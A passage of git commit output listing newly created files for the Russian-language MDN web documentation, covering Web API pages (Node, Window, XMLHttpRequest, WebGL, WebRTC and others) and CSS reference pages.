mode 100644 files/ru/web/api/node/lookupprefix/index.html create mode 100644 files/ru/web/api/node/namespaceuri/index.html create mode 100644 files/ru/web/api/node/nextsibling/index.html create mode 100644 files/ru/web/api/node/nodename/index.html create mode 100644 files/ru/web/api/node/nodeprincipal/index.html create mode 100644 files/ru/web/api/node/nodetype/index.html create mode 100644 files/ru/web/api/node/nodevalue/index.html create mode 100644 files/ru/web/api/node/normalize/index.html create mode 100644 files/ru/web/api/node/ownerdocument/index.html create mode 100644 files/ru/web/api/node/parentelement/index.html create mode 100644 files/ru/web/api/node/parentnode/index.html create mode 100644 files/ru/web/api/node/prefix/index.html create mode 100644 files/ru/web/api/node/previoussibling/index.html create mode 100644 files/ru/web/api/node/removechild/index.html create mode 100644 files/ru/web/api/node/textcontent/index.html create mode 100644 files/ru/web/api/nodelist/index.html create mode 100644 files/ru/web/api/nondocumenttypechildnode/index.html create mode 100644 files/ru/web/api/nondocumenttypechildnode/nondocumenttypechildnode.nextelementsibling/index.html create mode 100644 files/ru/web/api/nondocumenttypechildnode/previouselementsibling/index.html create mode 100644 files/ru/web/api/notification/index.html create mode 100644 files/ru/web/api/notifications_api/index.html create mode 100644 files/ru/web/api/pannernode/index.html create mode 100644 files/ru/web/api/parentnode/append/index.html create mode 100644 files/ru/web/api/parentnode/childelementcount/index.html create mode 100644 files/ru/web/api/parentnode/children/index.html create mode 100644 files/ru/web/api/parentnode/firstelementchild/index.html create mode 100644 files/ru/web/api/parentnode/index.html create mode 100644 files/ru/web/api/parentnode/lastelementchild/index.html create mode 100644 files/ru/web/api/parentnode/prepend/index.html create mode 100644 files/ru/web/api/payment_request_api/index.html create mode 100644 files/ru/web/api/paymentrequest/index.html create mode 100644 files/ru/web/api/performance/index.html create mode 100644 files/ru/web/api/performance/now/index.html create mode 100644 files/ru/web/api/pointer_events/index.html create mode 100644 files/ru/web/api/pointer_lock_api/index.html create mode 100644 files/ru/web/api/positionoptions/index.html create mode 100644 files/ru/web/api/presentation/index.html create mode 100644 files/ru/web/api/push_api/index.html create mode 100644 files/ru/web/api/push_api/using_the_push_api/index.html create mode 100644 files/ru/web/api/pushmanager/index.html create mode 100644 files/ru/web/api/pushmanager/subscribe/index.html create mode 100644 files/ru/web/api/randomsource/getrandomvalues/index.html create mode 100644 files/ru/web/api/randomsource/index.html create mode 100644 files/ru/web/api/range/collapsed/index.html create mode 100644 files/ru/web/api/range/getboundingclientrect/index.html create mode 100644 files/ru/web/api/range/index.html create mode 100644 files/ru/web/api/range/surroundcontents/index.html create mode 100644 files/ru/web/api/renderingcontext/index.html create mode 100644 files/ru/web/api/request/index.html create mode 100644 files/ru/web/api/request/mode/index.html create mode 100644 files/ru/web/api/response/index.html create mode 100644 files/ru/web/api/response/response/index.html create mode 100644 files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html create mode 100644 files/ru/web/api/rtcpeerconnection/connectionstate/index.html create mode 100644 files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html create mode 100644 files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html create mode 100644 files/ru/web/api/rtcpeerconnection/getdefaulticeservers/index.html create mode 100644 files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html create mode 100644 files/ru/web/api/rtcpeerconnection/index.html create mode 100644 files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html create mode 100644 files/ru/web/api/screen/index.html create mode 100644 files/ru/web/api/screen_capture_api/index.html create mode 100644 files/ru/web/api/screen_capture_api/using_screen_capture/index.html create mode 100644 files/ru/web/api/selection/getrangeat/index.html create mode 100644 files/ru/web/api/selection/index.html create mode 100644 files/ru/web/api/selection/tostring/index.html create mode 100644 files/ru/web/api/server-sent_events/index.html create mode 100644 files/ru/web/api/server-sent_events/using_server-sent_events/index.html create mode 100644 files/ru/web/api/service_worker_api/index.html create mode 100644 files/ru/web/api/service_worker_api/using_service_workers/index.html create mode 100644 files/ru/web/api/serviceworker/index.html create mode 100644 files/ru/web/api/serviceworker/onstatechange/index.html create mode 100644 files/ru/web/api/serviceworker/scripturl/index.html create mode 100644 files/ru/web/api/serviceworker/state/index.html create mode 100644 files/ru/web/api/serviceworkercontainer/controller/index.html create mode 100644 files/ru/web/api/serviceworkercontainer/index.html create mode 100644 files/ru/web/api/serviceworkercontainer/register/index.html create mode 100644 files/ru/web/api/serviceworkerregistration/index.html create mode 100644 files/ru/web/api/serviceworkerregistration/pushmanager/index.html create mode 100644 files/ru/web/api/serviceworkerregistration/shownotification/index.html create mode 100644 files/ru/web/api/serviceworkerregistration/update/index.html create mode 100644 files/ru/web/api/serviceworkerstate/index.html create mode 100644 files/ru/web/api/sharedworker/index.html create mode 100644 files/ru/web/api/slotable/index.html create mode 100644 files/ru/web/api/speechgrammar/index.html create mode 100644 files/ru/web/api/speechrecognition/index.html create mode 100644 files/ru/web/api/speechsynthesisutterance/index.html create mode 100644 files/ru/web/api/storage/clear/index.html create mode 100644 files/ru/web/api/storage/getitem/index.html create mode 100644 files/ru/web/api/storage/index.html create mode 100644 files/ru/web/api/storage/key/index.html create mode 100644 files/ru/web/api/storage/length/index.html create mode 100644 files/ru/web/api/storage/localstorage/index.html create mode 100644 files/ru/web/api/storage/removeitem/index.html create mode 100644 files/ru/web/api/storage/setitem/index.html create mode 100644 files/ru/web/api/storage_access_api/index.html create mode 100644 files/ru/web/api/storagemanager/estimate/index.html create mode 100644 files/ru/web/api/storagemanager/index.html create mode 100644 files/ru/web/api/streams_api/index.html create mode 100644 files/ru/web/api/stylesheet/disabled/index.html create mode 100644 files/ru/web/api/stylesheet/index.html create mode 100644 files/ru/web/api/subtlecrypto/index.html create mode 100644 files/ru/web/api/svgaelement/index.html create mode 100644 files/ru/web/api/svgaelement/svgalement.target/index.html create mode 100644 files/ru/web/api/svgaelement/target/index.html create mode 100644 files/ru/web/api/svggraphicselement/index.html create mode 100644 files/ru/web/api/svgtextcontentelement/index.html create mode 100644 files/ru/web/api/svgtextelement/index.html create mode 100644 files/ru/web/api/text/index.html create mode 100644 files/ru/web/api/touch/index.html create mode 100644 files/ru/web/api/touch_events/index.html create mode 100644 files/ru/web/api/touch_events/supporting_both_touchevent_and_mouseevent/index.html create mode 100644 files/ru/web/api/touch_events/using_touch_events/index.html create mode 100644 files/ru/web/api/touchevent/altkey/index.html create mode 100644 files/ru/web/api/touchevent/changedtouches/index.html create mode 100644 files/ru/web/api/touchevent/index.html create mode 100644 files/ru/web/api/touchevent/touches/index.html create mode 100644 files/ru/web/api/touchlist/index.html create mode 100644 files/ru/web/api/url/createobjecturl/index.html create mode 100644 files/ru/web/api/url/index.html create mode 100644 files/ru/web/api/url/url/index.html create mode 100644 files/ru/web/api/urlsearchparams/delete/index.html create mode 100644 files/ru/web/api/urlsearchparams/index.html create mode 100644 files/ru/web/api/usb/getdevices/index.html create mode 100644 files/ru/web/api/usb/index.html create mode 100644 files/ru/web/api/usb/onconnect/index.html create mode 100644 files/ru/web/api/usb/ondisconnect/index.html create mode 100644 files/ru/web/api/usb/requestdevice/index.html create mode 100644 files/ru/web/api/usvstring/index.html create mode 100644 files/ru/web/api/vrdisplay/index.html create mode 100644 files/ru/web/api/vrdisplay/requestanimationframe/index.html create mode 100644 files/ru/web/api/vrdisplay/requestpresent/index.html create mode 100644 files/ru/web/api/vrdisplaycapabilities/hasposition/index.html create mode 100644 files/ru/web/api/vrdisplaycapabilities/index.html create mode 100644 files/ru/web/api/vrdisplayevent/display/index.html create mode 100644 files/ru/web/api/vrdisplayevent/index.html create mode 100644 files/ru/web/api/vrframedata/index.html create mode 100644 files/ru/web/api/vrpose/index.html create mode 100644 files/ru/web/api/vrpose/position/index.html create mode 100644 files/ru/web/api/vrstageparameters/index.html create mode 100644 files/ru/web/api/vrstageparameters/sittingtostandingtransform/index.html create mode 100644 files/ru/web/api/vrstageparameters/sizex/index.html create mode 100644 files/ru/web/api/vrstageparameters/sizey/index.html create mode 100644 files/ru/web/api/web_animations_api/index.html create mode 100644 files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html create mode 100644 files/ru/web/api/web_audio_api/index.html create mode 100644 files/ru/web/api/web_audio_api/using_web_audio_api/index.html create mode 100644 files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html create mode 100644 files/ru/web/api/web_authentication_api/index.html create mode 100644 files/ru/web/api/web_crypto_api/checking_authenticity_with_password/index.html create mode 100644 files/ru/web/api/web_crypto_api/index.html create mode 100644 files/ru/web/api/web_speech_api/index.html create mode 100644 files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html create mode 100644 files/ru/web/api/web_storage_api/index.html create mode 100644 files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html create mode 100644 files/ru/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html create mode 100644 files/ru/web/api/web_workers_api/index.html create mode 100644 files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html create mode 100644 files/ru/web/api/webfm_api/index.html create mode 100644 files/ru/web/api/webgl_api/index.html create mode 100644 files/ru/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html create mode 100644 files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html create mode 100644 files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html create mode 100644 files/ru/web/api/webgl_api/tutorial/index.html create mode 100644 files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html create mode 100644 files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html create mode 100644 files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html create mode 100644 "files/ru/web/api/webgl_api/tutorial/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_3d_\320\276\320\261\321\212\320\265\320\272\321\202\320\276\320\262_\321\201_\320\277\320\276\320\274\320\276\321\211\321\214\321\216_webgl/index.html" create mode 100644 files/ru/web/api/webgl_api/webgl_best_practices/index.html create mode 100644 files/ru/web/api/webgl_compressed_texture_pvrtc/index.html create mode 100644 files/ru/web/api/webglprogram/index.html create mode 100644 files/ru/web/api/webglrenderingcontext/activetexture/index.html create mode 100644 files/ru/web/api/webglrenderingcontext/bindbuffer/index.html create mode 100644 files/ru/web/api/webglrenderingcontext/bindtexture/index.html create mode 100644 files/ru/web/api/webglrenderingcontext/canvas/index.html create mode 100644 files/ru/web/api/webglrenderingcontext/clear/index.html create mode 100644 files/ru/web/api/webglrenderingcontext/clearcolor/index.html create mode 100644 files/ru/web/api/webglrenderingcontext/compileshader/index.html create mode 100644 files/ru/web/api/webglrenderingcontext/enable/index.html create mode 100644 files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html create mode 100644 files/ru/web/api/webglrenderingcontext/index.html create mode 100644 files/ru/web/api/webglrenderingcontext/shadersource/index.html create mode 100644 files/ru/web/api/webglrenderingcontext/uniform/index.html create mode 100644 files/ru/web/api/webrtc_api/adapter.js/index.html create mode 100644 files/ru/web/api/webrtc_api/index.html create mode 100644 files/ru/web/api/webrtc_api/session_lifetime/index.html create mode 100644 files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html create mode 100644 files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html create mode 100644 files/ru/web/api/webrtc_api/taking_still_photos/index.html create mode 100644 files/ru/web/api/webrtc_api/using_data_channels/index.html create mode 100644 files/ru/web/api/webrtc_api/webrtc_basics/index.html create mode 100644 "files/ru/web/api/webrtc_api/\320\277\321\200\320\276\321\202\320\276\320\272\320\276\320\273\321\213/index.html" create mode 100644 "files/ru/web/api/webrtc_api/\321\201\320\262\321\217\320\267\321\214/index.html" create mode 100644 files/ru/web/api/websocket/index.html create mode 100644 files/ru/web/api/webvr_api/index.html create mode 100644 files/ru/web/api/webvr_api/using_the_webvr_api/index.html create mode 100644 files/ru/web/api/webvtt_api/index.html create mode 100644 files/ru/web/api/webxr_device_api/index.html create mode 100644 files/ru/web/api/window/alert/index.html create mode 100644 files/ru/web/api/window/beforeunload_event/index.html create mode 100644 files/ru/web/api/window/blur/index.html create mode 100644 files/ru/web/api/window/cancelanimationframe/index.html create mode 100644 files/ru/web/api/window/clearimmediate/index.html create mode 100644 files/ru/web/api/window/close/index.html create mode 100644 files/ru/web/api/window/closed/index.html create mode 100644 files/ru/web/api/window/confirm/index.html create mode 100644 files/ru/web/api/window/console/index.html create mode 100644 files/ru/web/api/window/crypto/index.html create mode 100644 files/ru/web/api/window/deviceorientation_event/index.html create mode 100644 files/ru/web/api/window/devicepixelratio/index.html create mode 100644 files/ru/web/api/window/document/index.html create mode 100644 files/ru/web/api/window/frameelement/index.html create mode 100644 files/ru/web/api/window/frames/index.html create mode 100644 files/ru/web/api/window/gamepadconnected_event/index.html create mode 100644 files/ru/web/api/window/gamepaddisconnected_event/index.html create mode 100644 files/ru/web/api/window/getcomputedstyle/index.html create mode 100644 files/ru/web/api/window/getselection/index.html create mode 100644 files/ru/web/api/window/hashchange_event/index.html create mode 100644 files/ru/web/api/window/history/index.html create mode 100644 files/ru/web/api/window/index.html create mode 100644 files/ru/web/api/window/innerheight/index.html create mode 100644 files/ru/web/api/window/length/index.html create mode 100644 files/ru/web/api/window/localstorage/index.html create mode 100644 files/ru/web/api/window/location/index.html create mode 100644 files/ru/web/api/window/matchmedia/index.html create mode 100644 files/ru/web/api/window/moveby/index.html create mode 100644 files/ru/web/api/window/moveto/index.html create mode 100644 files/ru/web/api/window/mozanimationstarttime/index.html create mode 100644 files/ru/web/api/window/name/index.html create mode 100644 files/ru/web/api/window/navigator/index.html create mode 100644 files/ru/web/api/window/ondeviceorientation/index.html create mode 100644 files/ru/web/api/window/ongamepadconnected/index.html create mode 100644 files/ru/web/api/window/ongamepaddisconnected/index.html create mode 100644 files/ru/web/api/window/onpaint/index.html create mode 100644 files/ru/web/api/window/pageyoffset/index.html create mode 100644 files/ru/web/api/window/parent/index.html create mode 100644 files/ru/web/api/window/performance/index.html create mode 100644 files/ru/web/api/window/popstate_event/index.html create mode 100644 files/ru/web/api/window/postmessage/index.html create mode 100644 files/ru/web/api/window/print/index.html create mode 100644 files/ru/web/api/window/prompt/index.html create mode 100644 files/ru/web/api/window/requestidlecallback/index.html create mode 100644 files/ru/web/api/window/resize_event/index.html create mode 100644 files/ru/web/api/window/screen/index.html create mode 100644 files/ru/web/api/window/screenx/index.html create mode 100644 files/ru/web/api/window/scroll/index.html create mode 100644 files/ru/web/api/window/scrollby/index.html create mode 100644 files/ru/web/api/window/scrollbylines/index.html create mode 100644 files/ru/web/api/window/scrollmaxx/index.html create mode 100644 files/ru/web/api/window/scrollmaxy/index.html create mode 100644 files/ru/web/api/window/scrollto/index.html create mode 100644 files/ru/web/api/window/scrollx/index.html create mode 100644 files/ru/web/api/window/scrolly/index.html create mode 100644 files/ru/web/api/window/self/index.html create mode 100644 files/ru/web/api/window/sessionstorage/index.html create mode 100644 files/ru/web/api/window/stop/index.html create mode 100644 files/ru/web/api/window/storage_event/index.html create mode 100644 files/ru/web/api/window/top/index.html create mode 100644 files/ru/web/api/windowbase64/base64_encoding_and_decoding/index.html create mode 100644 files/ru/web/api/windowbase64/btoa/index.html create mode 100644 files/ru/web/api/windowbase64/index.html create mode 100644 files/ru/web/api/windowclient/index.html create mode 100644 files/ru/web/api/windoweventhandlers/index.html create mode 100644 files/ru/web/api/windoweventhandlers/onafterprint/index.html create mode 100644 files/ru/web/api/windoweventhandlers/onbeforeunload/index.html create mode 100644 files/ru/web/api/windoweventhandlers/onhashchange/index.html create mode 100644 files/ru/web/api/windoweventhandlers/onpopstate/index.html create mode 100644 files/ru/web/api/windoweventhandlers/onunload/index.html create mode 100644 files/ru/web/api/windoworworkerglobalscope/atob/index.html create mode 100644 files/ru/web/api/windoworworkerglobalscope/caches/index.html create mode 100644 files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html create mode 100644 files/ru/web/api/windoworworkerglobalscope/fetch/index.html create mode 100644 files/ru/web/api/windoworworkerglobalscope/index.html create mode 100644 files/ru/web/api/windoworworkerglobalscope/setinterval/index.html create mode 100644 files/ru/web/api/windowtimers/index.html create mode 100644 files/ru/web/api/windowtimers/settimeout/index.html create mode 100644 files/ru/web/api/worker/index.html create mode 100644 files/ru/web/api/worker/onmessage/index.html create mode 100644 files/ru/web/api/worker/postmessage/index.html create mode 100644 files/ru/web/api/worker/terminate/index.html create mode 100644 files/ru/web/api/worker/worker/index.html create mode 100644 files/ru/web/api/workerglobalscope/importscripts/index.html create mode 100644 files/ru/web/api/workerglobalscope/index.html create mode 100644 files/ru/web/api/xmlhttprequest/abort/index.html create mode 100644 files/ru/web/api/xmlhttprequest/getresponseheader/index.html create mode 100644 files/ru/web/api/xmlhttprequest/index.html create mode 100644 files/ru/web/api/xmlhttprequest/onreadystatechange/index.html create mode 100644 files/ru/web/api/xmlhttprequest/open/index.html create mode 100644 files/ru/web/api/xmlhttprequest/readystate/index.html create mode 100644 files/ru/web/api/xmlhttprequest/response/index.html create mode 100644 files/ru/web/api/xmlhttprequest/responsetext/index.html create mode 100644 files/ru/web/api/xmlhttprequest/responsetype/index.html create mode 100644 files/ru/web/api/xmlhttprequest/responseurl/index.html create mode 100644 files/ru/web/api/xmlhttprequest/responsexml/index.html create mode 100644 files/ru/web/api/xmlhttprequest/send/index.html create mode 100644 files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html create mode 100644 files/ru/web/api/xmlhttprequest/setrequestheader/index.html create mode 100644 files/ru/web/api/xmlhttprequest/status/index.html create mode 100644 files/ru/web/api/xmlhttprequest/statustext/index.html create mode 100644 files/ru/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html create mode 100644 files/ru/web/api/xmlhttprequest/timeout/index.html create mode 100644 files/ru/web/api/xmlhttprequest/upload/index.html create mode 100644 files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html create mode 100644 files/ru/web/api/xmlhttprequest/withcredentials/index.html create mode 100644 files/ru/web/api/xmlhttprequest/xmlhttprequest/index.html create mode 100644 files/ru/web/api/xmlserializer/index.html create mode 100644 "files/ru/web/api/\320\262\320\270\320\264\320\270\320\274\320\276\321\201\321\202\321\214_\321\201\321\202\321\200\320\260\320\275\320\270\321\206\321\213_api/index.html" create mode 100644 "files/ru/web/api/\320\275\320\276\321\202\320\260\321\206\320\270\321\217/index.html" create mode 100644 files/ru/web/css/--_star_/index.html create mode 100644 files/ru/web/css/-moz-binding/index.html create mode 100644 files/ru/web/css/@counter-style/additive-symbols/index.html create mode 100644 files/ru/web/css/@counter-style/index.html create mode 100644 files/ru/web/css/@document/index.html create mode 100644 files/ru/web/css/@font-face/font-display/index.html create mode 100644 files/ru/web/css/@font-face/font-family/index.html create mode 100644 files/ru/web/css/@font-face/index.html create mode 100644 files/ru/web/css/@font-feature-values/index.html create mode 100644 files/ru/web/css/@media/index.html create mode 100644 files/ru/web/css/@media/inverted-colors/index.html create mode 100644 files/ru/web/css/@media/orientation/index.html create mode 100644 files/ru/web/css/@media/prefers-color-scheme/index.html create mode 100644 files/ru/web/css/@media/prefers-reduced-motion/index.html create mode 100644 files/ru/web/css/@media/scripting/index.html create mode 100644 files/ru/web/css/@namespace/index.html create mode 100644 files/ru/web/css/@page/index.html create mode 100644 files/ru/web/css/@supports/index.html create mode 100644 files/ru/web/css/@viewport/index.html create mode 100644 files/ru/web/css/@viewport/user-zoom/index.html create mode 100644 files/ru/web/css/_colon_-moz-focusring/index.html create mode 100644 files/ru/web/css/_colon_-moz-only-whitespace/index.html create mode 100644 files/ru/web/css/_colon_active/index.html create mode 100644 files/ru/web/css/_colon_any-link/index.html create mode 100644 files/ru/web/css/_colon_any/index.html create mode 100644 files/ru/web/css/_colon_checked/index.html create mode 100644 files/ru/web/css/_colon_default/index.html create mode 100644 files/ru/web/css/_colon_defined/index.html create mode 100644 files/ru/web/css/_colon_dir/index.html create mode 100644 files/ru/web/css/_colon_disabled/index.html create mode 100644 files/ru/web/css/_colon_empty/index.html create mode 100644 files/ru/web/css/_colon_enabled/index.html create mode 100644 files/ru/web/css/_colon_first-child/index.html create mode 100644 files/ru/web/css/_colon_first-of-type/index.html create mode 100644 files/ru/web/css/_colon_first/index.html create mode 100644 files/ru/web/css/_colon_focus-visible/index.html create mode 100644 files/ru/web/css/_colon_focus-within/index.html create mode 100644 files/ru/web/css/_colon_focus/index.html create mode 100644 files/ru/web/css/_colon_fullscreen/index.html create mode 100644 files/ru/web/css/_colon_has/index.html create mode 100644 files/ru/web/css/_colon_host()/index.html create mode 100644 files/ru/web/css/_colon_hover/index.html create mode 100644 files/ru/web/css/_colon_in-range/index.html create mode 100644 files/ru/web/css/_colon_indeterminate/index.html create mode 100644 files/ru/web/css/_colon_invalid/index.html create mode 100644 files/ru/web/css/_colon_is/index.html create mode 100644 files/ru/web/css/_colon_lang/index.html create mode 100644 files/ru/web/css/_colon_last-child/index.html create mode 100644 files/ru/web/css/_colon_last-of-type/index.html create mode 100644 files/ru/web/css/_colon_left/index.html create mode 100644 files/ru/web/css/_colon_link/index.html create mode 100644 files/ru/web/css/_colon_not/index.html create mode 100644 files/ru/web/css/_colon_nth-child/index.html create mode 100644 files/ru/web/css/_colon_nth-last-child/index.html create mode 100644 files/ru/web/css/_colon_nth-last-of-type/index.html create mode 100644 files/ru/web/css/_colon_nth-of-type/index.html create mode 100644 files/ru/web/css/_colon_only-child/index.html create mode 100644 files/ru/web/css/_colon_only-of-type/index.html create mode 100644 files/ru/web/css/_colon_optional/index.html create mode 100644 files/ru/web/css/_colon_out-of-range/index.html create mode 100644 files/ru/web/css/_colon_placeholder-shown/index.html create mode 100644 files/ru/web/css/_colon_read-only/index.html create mode 100644 files/ru/web/css/_colon_read-write/index.html create mode 100644 files/ru/web/css/_colon_required/index.html create mode 100644 files/ru/web/css/_colon_right/index.html create mode 100644 files/ru/web/css/_colon_root/index.html create mode 100644 files/ru/web/css/_colon_target/index.html create mode 100644 files/ru/web/css/_colon_valid/index.html create mode 100644 files/ru/web/css/_colon_visited/index.html create mode 100644 files/ru/web/css/_colon_where/index.html create mode 100644 files/ru/web/css/_doublecolon_-moz-progress-bar/index.html create mode 100644 files/ru/web/css/_doublecolon_-webkit-slider-thumb/index.html create mode 100644 files/ru/web/css/_doublecolon_after/index.html create mode 100644 files/ru/web/css/_doublecolon_backdrop/index.html create mode 100644 files/ru/web/css/_doublecolon_before/index.html create mode 100644 files/ru/web/css/_doublecolon_cue/index.html create mode 100644 files/ru/web/css/_doublecolon_first-letter/index.html create mode 100644 files/ru/web/css/_doublecolon_first-line/index.html create mode 100644 files/ru/web/css/_doublecolon_grammar-error/index.html create mode 100644 files/ru/web/css/_doublecolon_marker/index.html create mode 100644 files/ru/web/css/_doublecolon_placeholder/index.html create mode 100644 files/ru/web/css/_doublecolon_selection/index.html create mode 100644 files/ru/web/css/_doublecolon_slotted/index.html create mode 100644 files/ru/web/css/adjacent_sibling_combinator/index.html create mode 100644 files/ru/web/css/align-content/index.html create mode 100644 files/ru/web/css/align-items/index.html create mode 100644 files/ru/web/css/align-self/index.html create mode 100644 files/ru/web/css/all/index.html create mode 100644 files/ru/web/css/angle/index.html create mode 100644 files/ru/web/css/animation-delay/index.html create mode 100644 files/ru/web/css/animation-direction/index.html create mode 100644 files/ru/web/css/animation-duration/index.html create mode 100644 files/ru/web/css/animation-fill-mode/index.html create mode 100644 files/ru/web/css/animation-iteration-count/index.html create mode 100644 files/ru/web/css/animation-name/index.html create mode 100644 files/ru/web/css/animation-play-state/index.html create mode 100644 files/ru/web/css/animation-timing-function/index.html create mode 100644 files/ru/web/css/animation/index.html create mode 100644 files/ru/web/css/appearance/index.html create mode 100644 files/ru/web/css/at-rule/index.html create mode 100644 files/ru/web/css/attr()/index.html create mode 100644 files/ru/web/css/attribute_selectors/index.html create mode 100644 files/ru/web/css/backdrop-filter/index.html create mode 100644 files/ru/web/css/backface-visibility/index.html create mode 100644 files/ru/web/css/background-attachment/index.html create mode 100644 files/ru/web/css/background-blend-mode/index.html create mode 100644 files/ru/web/css/background-clip/index.html create mode 100644 files/ru/web/css/background-color/index.html create mode 100644 files/ru/web/css/background-image/index.html create mode 100644 files/ru/web/css/background-origin/index.html create mode 100644 files/ru/web/css/background-position-x/index.html create mode 100644 files/ru/web/css/background-position/index.html create mode 100644 files/ru/web/css/background-repeat/index.html create mode 100644 files/ru/web/css/background-size/index.html create mode 100644 files/ru/web/css/background/index.html create mode 100644 files/ru/web/css/blend-mode/index.html create mode 100644 files/ru/web/css/block-size/index.html create mode 100644 files/ru/web/css/border-bottom/index.html create mode 100644 files/ru/web/css/border-image-outset/index.html create mode 100644 files/ru/web/css/border-image-repeat/index.html create mode 100644 files/ru/web/css/border-image-slice/index.html create mode 100644 files/ru/web/css/border-image-source/index.html create mode 100644 files/ru/web/css/border-image-width/index.html create mode 100644 files/ru/web/css/border-radius/index.html create mode 100644 files/ru/web/css/border-width/index.html create mode 100644 files/ru/web/css/border/index.html create mode 100644 files/ru/web/css/bottom/index.html create mode 100644 files/ru/web/css/box-shadow/index.html create mode 100644 files/ru/web/css/box-sizing/index.html create mode 100644 files/ru/web/css/box_model/index.html create mode 100644 files/ru/web/css/calc()/index.html create mode 100644 files/ru/web/css/cascade/index.html create mode 100644 files/ru/web/css/child_combinator/index.html create mode 100644 files/ru/web/css/clamp()/index.html create mode 100644 files/ru/web/css/class_selectors/index.html create mode 100644 files/ru/web/css/clear/index.html create mode 100644 files/ru/web/css/clip-path/index.html create mode 100644 files/ru/web/css/color_value/index.html create mode 100644 files/ru/web/css/column-count/index.html create mode 100644 files/ru/web/css/column-fill/index.html create mode 100644 files/ru/web/css/column-rule-color/index.html create mode 100644 files/ru/web/css/column-rule-style/index.html create mode 100644 files/ru/web/css/column-rule/index.html create mode 100644 files/ru/web/css/column_combinator/index.html create mode 100644 files/ru/web/css/common_css_questions/index.html create mode 100644 files/ru/web/css/computed_value/index.html create mode 100644 files/ru/web/css/containing_block/index.html create mode 100644 files/ru/web/css/content/index.html create mode 100644 files/ru/web/css/css_animations/detecting_css_animation_support/index.html create mode 100644 files/ru/web/css/css_animations/index.html create mode 100644 files/ru/web/css/css_animations/ispolzovanie_css_animatciy/index.html create mode 100644 files/ru/web/css/css_animations/tips/index.html create mode 100644 files/ru/web/css/css_background_and_borders/border-image_generator/index.html create mode 100644 "files/ru/web/css/css_background_and_borders/border-radius_\320\263\320\265\320\275\320\265\321\200\320\260\321\202\320\276\321\200/index.html" create mode 100644 files/ru/web/css/css_background_and_borders/index.html create mode 100644 "files/ru/web/css/css_background_and_borders/\320\274\320\275\320\276\320\266\320\265\321\201\321\202\320\262\320\265\320\275\320\275\321\213\320\265_\321\204\320\276\320\275\321\213/index.html" create mode 100644 files/ru/web/css/css_basic_user_interface/index.html create mode 100644 "files/ru/web/css/css_basic_user_interface/\320\270\321\201\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\320\275\320\270\320\265_url_\320\267\320\275\320\260\321\207\320\265\320\275\320\270\320\271_\320\264\320\273\321\217_\321\201\320\262\320\276\320\271\321\201\321\202\320\262\320\260_cursor/index.html" create mode 100644 files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html create mode 100644 files/ru/web/css/css_box_alignment/index.html create mode 100644 files/ru/web/css/css_box_model/box-shadow_generator/index.html create mode 100644 files/ru/web/css/css_box_model/index.html create mode 100644 files/ru/web/css/css_box_model/mastering_margin_collapsing/index.html create mode 100644 files/ru/web/css/css_colors/color_picker_tool/index.html create mode 100644 files/ru/web/css/css_colors/index.html create mode 100644 files/ru/web/css/css_columns/index.html create mode 100644 files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html create mode 100644 files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html create mode 100644 files/ru/web/css/css_flexible_box_layout/index.html create mode 100644 files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html create mode 100644 files/ru/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html create mode 100644 "files/ru/web/css/css_flexible_box_layout/\320\262\321\213\321\200\320\260\320\262\320\275\320\270\320\262\320\260\320\275\320\270\320\265_\321\215\320\273\320\265\320\274\320\265\320\275\321\202\320\276\320\262_\320\262_flex_\320\272\320\276\320\275\321\202\320\265\320\271\320\275\320\265\321\200\320\265/index.html" create mode 100644 "files/ru/web/css/css_flexible_box_layout/\320\272\320\276\320\275\321\202\321\200\320\276\320\273\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265_\321\201\320\276\320\276\321\202\320\275\320\276\321\210\320\265\320\275\320\270\321\217_\321\215\320\273\320\265\320\274\320\265\320\275\321\202\320\276\320\262_\320\262\320\264\320\276\320\273\321\214_\320\263\320\273\320\260\320\262\320\275\320\276\320\271_\320\276\321\201\320\270/index.html" create mode 100644 files/ru/web/css/css_flow_layout/index.html create mode 100644 "files/ru/web/css/css_flow_layout/\320\261\320\273\320\276\321\207\320\275\320\276\320\265_\320\270_\321\201\321\202\321\200\320\276\321\207\320\275\320\276\320\265_\321\200\320\260\320\267\320\274\320\265\321\211\320\265\320\275\320\270\320\265_\320\262_\320\275\320\276\321\200\320\274\320\260\320\273\321\214\320\275\320\276\320\274_\320\277\320\276\321\202\320\276\320\272\320\265/index.html" create mode 100644 "files/ru/web/css/css_flow_layout/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265_\320\262_\320\272\320\276\320\275\321\202\320\265\320\272\321\201\321\202\321\213_\321\204\320\276\321\200\320\274\320\260\321\202\320\270\321\200\320\276\320\262\320\260\320\275\320\270\321\217/index.html" create mode 100644 files/ru/web/css/css_fonts/index.html create mode 100644 files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html create mode 100644 